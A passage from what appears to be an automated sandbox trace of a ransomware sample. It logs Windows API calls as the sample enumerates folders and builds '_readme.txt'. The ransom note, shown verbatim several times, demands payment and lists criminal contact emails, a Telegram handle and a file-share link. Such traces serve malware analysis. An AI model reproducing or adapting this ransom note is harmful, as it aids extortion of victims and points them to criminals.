(HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.136] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.136] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.136] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0266.137] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.137] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.137] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076d78 [0266.137] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0266.137] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.137] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.137] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e68 [0266.137] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0266.137] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0266.137] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.137] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.137] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x214) returned 0x30727c0 [0266.137] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e40 [0266.137] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0266.137] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076df0 [0266.137] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076d00 [0266.137] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076d50 [0266.138] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f80 [0266.138] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.138] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fd0 [0266.138] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076ff8 [0266.138] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077020 [0266.138] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0266.138] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077070 [0266.138] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077098 [0266.138] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0266.138] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.138] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.138] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.139] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0266.139] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.139] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.139] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076d78 [0266.139] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0266.139] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.139] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.139] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0266.139] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0266.139] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.139] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.139] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f58 [0266.139] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0266.139] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.139] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.139] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f30 [0266.139] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0266.139] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.139] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e90 [0266.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x310) returned 0x3078220 [0266.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076d28 [0266.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076cd8 [0266.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076da0 [0266.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30770c0 [0266.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30770e8 [0266.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077110 [0266.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077138 [0266.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077160 [0266.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077188 [0266.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30771b0 [0266.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30771d8 [0266.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077200 [0266.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077228 [0266.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077250 [0266.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077278 [0266.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30772a0 [0266.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30772c8 [0266.145] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30772f0 [0266.145] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077318 [0266.145] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0266.145] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.145] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.145] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e90 [0266.145] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0266.145] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.145] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.145] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f58 [0266.145] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0266.145] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.145] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.145] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0266.145] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0266.145] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.145] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.145] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076d78 [0266.145] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0266.145] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.145] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.145] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.146] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.146] PathFindFileNameW (pszPath="C:\\Config.Msi\\") returned="Config.Msi\\" [0266.146] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.146] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.146] PathFindFileNameW (pszPath="") returned="" [0266.146] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.146] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.146] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.147] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0266.147] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.147] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x31099a8 [0266.147] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e68 [0266.147] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.147] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077098 [0266.147] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.147] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.147] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x640000) returned 1 [0266.147] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.147] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077098 | out: hHeap=0x640000) returned 1 [0266.147] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077098 [0266.147] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x81c) returned 0x31099a8 [0266.147] PathAppendW (in: pszPath="C:\\Config.Msi\\", pMore="_readme.txt" | out: pszPath="C:\\Config.Msi\\_readme.txt") returned 1 [0266.147] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.147] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077098 | out: hHeap=0x640000) returned 1 [0266.147] PathFileExistsW (pszPath="C:\\Config.Msi\\_readme.txt") returned 0 [0266.148] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x31156f0 [0266.148] lstrcpyW (in: lpString1=0x31156f0, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.148] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.148] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0266.148] CreateFileW (lpFileName="C:\\Config.Msi\\_readme.txt" (normalized: "c:\\config.msi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.148] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0266.149] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31156f0 | out: hHeap=0x640000) returned 1 [0266.149] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.149] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077098 [0266.149] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0xffffffff [0266.149] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077098 | out: hHeap=0x640000) returned 1 [0266.149] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.149] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.149] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.149] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081888 [0266.149] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.149] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081840 [0266.149] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.149] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.149] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081840 | out: hHeap=0x640000) returned 1 [0266.149] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081840 [0266.149] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.149] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: 